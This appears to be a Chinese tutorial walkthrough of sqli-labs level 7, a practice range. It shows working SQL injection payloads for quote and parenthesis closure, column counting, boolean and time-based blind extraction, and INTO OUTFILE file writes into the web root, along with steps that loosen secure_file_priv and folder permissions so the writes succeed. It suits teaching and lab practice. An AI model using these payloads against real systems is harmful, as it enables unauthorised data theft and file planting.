sqli-labs 第七关 多命通关攻略
- 描述
- 字符串与数值之间的转换
- 判断注入类型
- 返回结果
- 正常输入
- 不正常输入
- 错误输入
- 总结
- 判断注入类型
- 判断是否为字符型注入
- 判断是否为单引号字符型注入
- 判断是否为双引号字符型注入
- 判断是否为数值型注入
- 总结
- 判断注入类型(修正版)
- 字符型注入
- 判断是否为单引号字符型注入
- 判断是否为双引号字符型注入
- 真的只需要正确闭合引号即可吗
- 判断 SQL 查询结果中的列数
- 猜测 SQL 查询结果中的列数为两列
- 猜测 SQL 查询结果中的列数为三列
- 猜测 SQL 查询结果中的列数为四列
- 爆破
- 爆破方式的可行性
- 1. 报错注入
- 2. 布尔盲注
- 3. 时间盲注
- 4. 数据导出
- 数据导出
- secure_file_priv
- 查看参数 secure_file_priv 对应的值
- 因 secure_file_priv 的取值不同所造成的不同影响
- into outfile
- 使用 into outfile 来导出文件
- into dumpfile
- into dumpfile 与 into outfile 的区别
- load_file()
- 注
- 修改 secure_file_priv
- 配置文件 my.ini
- 权限问题
- 修改文件夹权限
- 问题总结
- 求索(追求和探索)
- 复制权限设置
- 验证可行性
- 组或用户名 Users
- 结论
- 尝试进行数据导出
描述
项目 | 描述 |
---|---|
操作系统 | Windows 10 专业版 |
MySQL 版本 | MySQL 5.7.40 |
Apache 版本 | Apache 2.2.39 |
字符串与数值之间的转换
MySQL 在遇到需要数值时你却提供给它字符串的情景下,会自动将字符串转换为数值。
转换方式如下:
‘a’ 转换为 0
‘1a’ 转换为 1
‘2b3’ 转换为 2
判断注入类型
返回结果
正常输入
?id=1
返回结果为:
You are in… Use outfile…
再次进行尝试:
?id=10
返回结果为:
You are in… Use outfile…
在两次进行正常输入后,返回结果仍为变化。
不正常输入
我们知道,在 sqli-labs 靶场中,参数 id 的合理值为 1~15。
所以我们来尝试将参数 id 的值设置为 15:
?id=15
返回结果为:
You have an error in your SQL syntax
该返回结果告知我们 SQL 存在语法错误。
可是这种查询并没有破坏查询语句的结构,何来 SQL 语法错误,SQL 查询语句查询不到对应的值,应该返回的是一个空集。
错误输入
使用如下语句,无论是字符型注入还是数字型错误都将引发 SQL 错误(无论是哪一种情况,该语句都能破坏 SQL 查询语句的正常结构)。
?id=--+
返回结果为:
You have an error in your SQL syntax
总结
由上述三种输入方式的测试结果,我们观察到如下现象:
- 错误输入与不正常输入的返回结果是相同的。
于是,我们做出推测:
该页面的 PHP 代码存在这么一个判断语句,在 SQL 查询结果不为空集时,返回结果为 You are in… Use outfile… ;反之返回 You have an error in your SQL syntax。
判断注入类型
判断是否为字符型注入
判断是否为单引号字符型注入
?id='--+
返回结果为:
You have an error in your SQL syntax
判断是否为双引号字符型注入
?id="--+
返回结果为:
You have an error in your SQL syntax
判断是否为数值型注入
?id=--+
返回结果为:
You have an error in your SQL syntax
总结
怎么会这样?
等等,我们刚刚得出的结论好像被忽略了:
该页面的 PHP 代码存在这么一个判断语句,在 SQL 查询结果不为空集时,返回结果为 You are in… Use outfile… ;反之返回 You have an error in your SQL syntax。
既然返回结果为空都将返回 You have an error in your SQL syntax,那我们刚刚构造的判断语句又怎么能够判断出注入类型呢?
判断注入类型(修正版)
字符型注入
判断是否为单引号字符型注入
?id=1'--+
返回结果:
You have an error in your SQL syntax
判断是否为双引号字符型注入
?id=1"--+
返回结果:
You are in… Use outfile…
由于字符型注入的返回结果发生了变化,我们可以推断注入类型不为数值型注入(在该类场景下判断是否为数字型注入需要通过字符型注入结果进行反推),而应为单引号字符型注入(由结果可以发现,双引号注入属于正常输入,而单引号注入属于错误输入)。
注:
- ‘1"’ 会被 MySQL 转化为数值 1。
- 在 ?id=1"--+ 中不是存在注释符号吗,怎么 SQL 查询还能正常返回查询结果呢?这是因为外层为单引号,所以注释符号被当成了字符串,并没有发挥其功能。
真的只需要正确闭合引号即可吗
在不清楚这个问题的答案前,如果你继续执行后续的步骤,你会发现这似乎是一个无解的题目。
让我们来做两个实验:
?id=1' and 1=2--+
返回结果:
You have an error in your SQL syntax
由于 1 永远不可能等于 2,所以该逻辑表达式将返回 false。接下来,我们观察另一组实验:
?id=1' and 1=1--+
由于 1 永远等于 1,逻辑与运算符两边的结果均为 true,所以该表达式将返回 true。因此返回结果应该为 You are in… Use outfile…,但返回结果却为
You have an error in your SQL syntax
这说明我们并没有正确闭合特殊符号,除了闭合引号外,SQL 注入中,我们往往还需要关注另一类符号,比如括号。于是我们构造如下语句:
?id=1') and 1=1--+
返回结果仍旧为:
You have an error in your SQL syntax
也许外层还存在一个括号需要闭合,我们再尝试去闭合括号:
?id=1')) and 1=1--+
返回结果为:
You are in… Use outfile…
至此,我们已正确闭合在 SQL 注入中需要闭合的符号。
判断 SQL 查询结果中的列数
猜测 SQL 查询结果中的列数为两列
?id=')) order by 2--+
返回结果:
You are in… Use outfile…
猜测 SQL 查询结果中的列数为三列
?id=1')) order by 3--+
返回结果:
You are in… Use outfile…
猜测 SQL 查询结果中的列数为四列
?id=1')) order by 4--+
返回结果为:
You have an error in your SQL syntax
这说明 SQL 查询返回结果的列数为三列。
爆破
爆破方式的可行性
1. 报错注入
由于在这一关中,错误输入不会显示错误,所以我们无法通过报错注入来爆破相关数据。
2. 布尔盲注
布尔盲注需要通过 PHP 页面中显示的是 You are in… Use outfile… 还是 You have an error in your SQL syntax 来判断猜测是否正确。我们知道在 sqli-labs 中默认使用的数据库为 security,即 database() 函数的返回值为 security 。
于是,我们可以尝试构造如下表达式判断 database() 函数的返回值是否为 s:
?id=1')) and 's' = (select substr(database(), 1, 1))--+
返回结果:
You are in… Use outfile…
来试着判断 database() 函数的返回值中的第一个字符是否为 ‘a’。
?id=1')) and 'a' = (select substr(database(), 1, 1))--+
返回结果:
You have an error in your SQL syntax
布尔注入的思路大概就是这样,可以通过编写一个程序通过该种方式来获取数据库名、表名及列名等信息。
注:
在该关下使用布尔注入时,不要采用联合注入的方式,否则即使构造语句如下返回的也是 You are in… Use outfile…,因为该关卡是通过判断 SQL 查询是否返回了内容来展示不同的内容的,即使返回的是一个空表。
?id=')) union select if(substr(database(), 1, 1)='a', 1, ''),'',''--+
3. 时间盲注
时间盲注是通过页面回显的时间(可以通过 sleep() 函数来控制页面的回显时间)来判断的。要使用时间盲注我们可以构造如下语句:
?id=')) union select if(substr(database(), 1, 1)='a', sleep(10), ''),'',''--+
上述时间盲注语句将在判断结果为 true 时等待 10 秒(为了不耗费太多时间可以将 sleep 函数的参数适当减小),在判断结果为 false 时返回一个空字符串。
至于如何去判断是否回显,可以通过观察浏览器中的进度条来进行判断。
4. 数据导出
在 SQL 注入过程中,我们可以通过关键字 into dumpfile、into outfile 等关键字来向网站导出数据到指定文件中,然后通过构造 URL 来对该文本文件进行访问。
使用上述函数来实现导入导出功能仅能在参数 secure_file_priv 指定的文件夹下中成功操作。
数据导出
由于 数据导出 这种方式比较特殊,本关卡主要使用 数据导出 的方式来对数据库进行爆破。
secure_file_priv
查看参数 secure_file_priv 对应的值
在 MySQL 中,我们可以通过输入如下命令来查找 secure_file_priv 参数对应的值为多少:
show variables like 'secure%';
# 或
show global variables like 'secure%';
# 或
select @@secure_file_priv;
使用该命令后,我们得到的结果如下:
由于我使用的 MySQL 版本为 5.7.40 因此该参数的值为 C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\,你通过该命令获取到的参数值或许与我的结果并不相同。
因 secure_file_priv 的取值不同所造成的不同影响
- secure_file_priv 参数对应的值为 空 或 ‘\’ 时,可使用关键字 into dumpfile、into outfile 在任意路径下实现导出功能;可使用函数 load_file() 在任意路径下实现读取文件内容的功能。
- 在该参数对应的值为 null 时,将禁止在任何路径下实现读取及导出功能。
- 在该参数对应的值为 某一路径时 仅允许在该路径下实现读取及导出功能。
into outfile
在 MySQL 中,可以使用 SELECTI…INTO OUTFILE 语句将表的内容导出成一个文本文件。SELECT…INTO OUTFILE 语句基本格式如下:
SELECT 列名 FROM table [WHERE 语句] INTO OUTFILE '目标文件'[OPTIONS]
该语句用 SELECT 来查询所需要的数据,用 INTO OUTFILE 来导出数据。其中,目标文件用来指定将查询的结果导出到哪个文件。这里需要注意的是,目标文件不能是一个已经存在的文件。
[OPTIONS] 为可选参数选项,OPTIONS 部分的语法包括 FIELDS 和 LINES 子句,其常用的取值有:
- FIELDS TERMINATED BY ‘字符串’:
设置字符串为字段之间的分隔符,可以为单个或多个字符,默认情况下为制表符‘\t’。 - FIELDS [OPTIONALLY] ENCLOSED BY ‘字符’:
设置字符来括上 CHAR、VARCHAR 和 TEXT 等字符型字段。如果使用了 OPTIONALLY 则只能用来括上 CHAR 和 VARCHAR 等字符型字段。 - FIELDS ESCAPED BY ‘字符’:
设置如何写入或读取特殊字符,只能为单个字符,即设置转义字符,默认值为‘\’。 - LINES STARTING BY ‘字符串’:
设置每行开头的字符,可以为单个或多个字符,默认情况下不使用任何字符。 - LINES TERMINATED BY ‘字符串’:
设置每行结尾的字符,可以为单个或多个字符,默认值为‘\n’ 。
注:
FIELDS 和 LINES 两个子句都是自选的,但是如果两个都被指定了,FIELDS 必须位于 LINES的前面。
上述内容整理自 网络
使用 into outfile 来导出文件
这里我们选择导出 users 这张表中的内容,首先让我们看看 users 表中的具体内容。
使用如下命令将 users 表中的内容导出到路径 C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\ 中:
select * from users into outfile 'C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\';
不幸的是,该语句造成了错误。
在 MySQL 中输入路径需要多加一个 ** 用来将 ** 转义。
所以我们更改语句为:
select * from users into outfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\';
记住,指定的路径不能为已存在的文件(夹),否则你将看到如下信息。
让我们再次进行修改:
select * from users into outfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\return.txt';
可以看到 users 表已成功导出(奇怪的是 id 为 13 的哪一行记录不见了,还是说一直都不存在)。
我们可以通过将查询结果导出到指定路径,但是,导出的路径 C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\ 的位置似乎离网站根目录较远,我们不可能通过使用 …/ 来返回上一级来访问导出文件,这就要求我们稍后需要修改 secure_file_priv 参数对应的值来制造该方法爆破数据库的可能性(将数据导出到网站根目录下的指定文件中)。
into dumpfile
让我们尝试使用关键字 into dumpfile 来导出表中内容,我们同样选择的是 users 表中的内容。
select * from users into dumpfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\return_1.txt';
在执行该语句后,MySQL 返回了报错信息,表明仅支持导入一行记录。
于是我们修改 SQL 语句:
select * from users where id=1 into dumpfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\return_1.txt';
由报错信息可以猜测,在尝试使用 into dumpfile 导出多行记录时,虽然 MySQL 会产生报错信息,但仍将第一行记录导出到指定文件夹中了。
我们可以打开 return_1.txt 文件来验证这个猜想。
好吧,假设出错。
正确结论应该为:
在尝试使用关键字 into dumpfile 导出多行记录时,虽为产生报错信息,但会成功将前两行记录导出到指定文件中。
构造 SQL 语句如下:
select * from users where id=1 into dumpfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\return_2.txt';
在使用关键字 into dumpfile 尝试将一行记录导出到指定文件中时,MySQL 并不会提示报错信息,让我们观察观察文件 return_2.txt :
into dumpfile 与 into outfile 的区别
- into dumpfile 可以导出多行记录,而 into outfile 可以导出多行记录。
- into dumpfile 无法通过使用参数来更改导出数据的格式,而 into outfile 可通过设置一些参数来(如使用参数 LINES TERMINATED BY ‘\n’ 来使记录在导出到指定文件后在每一行记录末尾添加一个换行符 )定制导出数据的格式。
- into dumpfile 导出的数据是连在一起的,而 into outfile 导出的文件具有更好的默认格式,便于观察。
- 在导出数据中含有转义字符时,两者导出的内容会存在一些差异。
前三点区别我们在前面(本篇文章)已经见到过了,第四点我们可以通过下面的例子来直观的感受下。
首先,构造 SQL 语句如下:
select 'a\nab\nabc' into outfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\return_3.txt';
导出数据在 return_3.txt 文件中的显示结果为:
select 'a\nab\nabc' into dumpfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\return_4.txt';
导出数据在 return_4.txt 文件中的显示结果为:
load_file()
使用 load_file() 函数可读取指定文件中的内容。可以通过构造 SQL 语句来获取我们刚刚导出的文件 return_4.txt 中的内容。
select load_file('C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\return_4.txt');
可以看到 load_file() 函数正确读取了指定文件中的内容。
注
无论是使用关键字 into dumpfile、into outfile 还是函数 load_file() 来对文件执行某些操作,都必须在 secure_file_priv 参数指定的路径之下进行。
- 如果使用关键字 into dumpfile 或 into outfile 在不正确的路径(不在 secure_file_priv 指定的路径范围内)下导出数据到某个文件,你将得到错误信息 ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement 并且该导出操作不会被正常执行。
- 如果使用函数 load_file() 读取的文件不在正确的路径(不在 secure_file_priv 指定的路径范围内)中,则无论该文件中的内容是什么,读取到的结果都将为 null。
修改 secure_file_priv
由于参数 secure_file_priv 不能被动态修改,所以我们只能在 MySQL 的配置文件中手动修改,修改完成后需要重启 MySQL 服务以使修改能够生效。
配置文件 my.ini
在操作系统为 Windows,MySQL 版本为 5.7.40 时,MySQL 的默认配置文件为 my.ini,默认存放路径为 C:\ProgramData\MySQL\MySQL Server 5.7。
注:
对于不同的操作系统 MySQL 的默认配置文件的名称及存放位置可能会存在不同,即使是同一操作系统下的不同 MySQL 版本,其默认配置文件也可能存在不同。
在打开该配置文件后,将
secure-file-priv=“C:/ProgramData/MySQL/MySQL Server 5.7/Uploads”
修改为:
secure-file-priv=
重启服务(是重启 MySQL 服务而不是重新登录 MySQL)后,使用如下命令来判断 secure_file_priv 的参数值是否被更改。
权限问题
尝试使用如下 SQL 语句将数据导出到网站根目录:
select * from users into outfile 'C:\\Users\\36683\\TwoMoons\\WWW\\result.txt';
MySQL 抛出错误
ERROR 1 (HY000): Can’t create/write to file ‘C:\Users\36683\TwoMoons\WWW\result.txt’ (Errcode: 13 - Permission denied)
意在提醒我们对该路径没有读写权限。
修改文件夹权限
问题总结
在遇到读写权限问题后,尝试向搜索引擎寻求帮助,但解决方案大多针对 Linux 操作系统且并不详细,只好自己摸索了。
在解决问题之前,先让我们总结一下遇到了哪些问题:
- Windows 操作系统下如何更改文件(夹)权限。
- 如何更改权限以使得我们能通过 MySQL 读取或导出文件。
对于如何在 Windows 操作系统更改文件(夹)权限,我们可以通过搜索引擎寻求帮助。但是这第二个问题只能靠自己摸索了。
不知道各位是否清楚这么一个事实:
MySQL 目录下的 Uploads 文件夹默认就拥有读写权限。
那么文件权限的更改是否可以依葫芦画瓢摸索出来呢,让我们拭目以待。
求索(追求和探索)
首先找到 Uploads 文件夹,右键该文件夹后点击 属性。
点击 安全。
在找到网站根目录(或是其它你想要导出或读取的路径),以同样的方式进入 安全 页面。
可以发现两个文件夹在权限的分配下确实有不同。
经查验,在 Uploads 文件夹中存在如下 组和用户名 是 Uploads 文件夹独有的:
- CREATOR OWNER
- NETWORK SERVICE
- USERS (TWO-MOONS\Users)
经检查,在 Uploads 文件夹中存在如下 组和用户名 是拥有读写权限且为 Uploads 文件夹独有的:
- CREATOR OWNER
- USERS (TWO-MOONS\Users)
于是我们排除了影响因素是 NETWORK SERVICE 的可能。
我们将 CREATOR OWNER 及 USERS (TWO-MOONS\Users) 完整复制到网站根目录(或是其它你想要导出或读取的路径)中。
复制权限设置
进入如下界面后,点击 编辑。
点击 添加。
添加用户或组 CREATOR OWNER。
更改权限使其与文件夹 Uploads 中的用户或组 CREATOR OWNER 的权限类似 (重点是要勾选读取与执行权限)。
请你根据上述步骤添加 用户或组 Users 并修改其权限。
注:
在添加 用户或组 时,对象名称应该为 Users 而不是 USERS (TWO-MOONS\Users) 括号中的内容因计算机的不同会存在差异,只需填入 Users 即可,括号中的内容系统会自动为你添加。
将文件夹 WWW 的 Users 权限修改为如下。
与文件夹 Uploads 中的 Users 权限不同的是:
- 由于我们需要对该文件夹具有读取及写入的权限,所以与 Uploads 的 Users 权限比较,这里多勾选了写入权限。
- 由于特殊权限比较特殊(结论由该权限名称推测而出)还有就是这个选项不知道该这么进行勾选,为谨慎起见,我们先不勾选,如果使用 MySQL 再遇到权限问题我们再返回想想办法也不迟。
在添加 组或用户 及 成功修改权限 后,点击 应用 以使修改生效。
验证可行性
再次执行如下 SQL 语句:
select * from users into outfile 'C:\\Users\\36683\\TwoMoons\\WWW\\users.txt';
可以看到,我们成功使用 MySQL 导出数据到 WWW 文件夹中。
组或用户名 Users
Users是Windows中预设的一个用户组,目的是:防止用户进行有意或无意的系统范围的更改,但是可以运行大部分应用程序。这个用户组包含了所有可登录的用户(Windows Vista开始,管理员用户和高级用户都也是默认被包含此组内)。这个组的权限是受限的,但要大于Guests组。
上述内容引用自 百度百科
查阅资料后发现,Users 为 Windows 操作系统下的普通用户组,在对这个组添加 读写权限 后,MySQL 便可以在该文件夹中读取或写入文件。
结论
- 通过删减 组或用户名 来达到仅保留 组或用户名 CREATOR OWNER 及 Users 中的一个,可以发现在前面对 MySQL 的读写权限起作用的应该是 Users。也就是说,仅需要添加 Users 并修改其权限即可解决 ERROR 1 (HY000): Can’t create/write to file ‘C:\Users\36683\TwoMoons\WWW\result.txt’ (Errcode: 13 - Permission denied) 问题。
- 经实验,函数 load_file() 读取的文件若位于没有读取权限的文件夹中,无论该文件中是否含有内容读取的结果都将为 null。
- MySQL 中的关键字 into dumpfile、into outfile 及函数 load_file() 若想在某个文件夹中发挥作用,这个文件夹必须在参数 secure_file_priv 的范围内并且 MySQL 对该文件夹具有读写权限。
尝试进行数据导出
?id=')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile '.\\target.txt'--+
这里我们使用相对路径注入到当前文件夹下,但你以为当前文件夹是该网站当前页面位于的文件夹吗?
你错了。在 Windows 操作系统的 MySQL 5.7.40 下,路径 .\\ 实际指向的文件夹是
C:\ProgramData\MySQL\MySQL Server 5.7\Data。
在使用上述构造的语句后,你并不会在 C:\Users\36683\TwoMoons\WWW\range\sqli-labs\Less-7 文件夹中看到 target.txt 文件,但你可以在
C:\ProgramData\MySQL\MySQL Server 5.7\Data 观察到该文件。
让我们构造一个语句让爆破 security 数据库中的表名并将其导出到网站根目录 WWW 下。
?id=')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile 'C:\\Users\\36683\\TwoMoons\\WWW\\target.txt'--+
可以看到我们已正常爆破 security 数据库中的表名并将其导出到网站根目录 WWW 下。
通过该种方式还可以爆破出其他信息,请继续探索吧。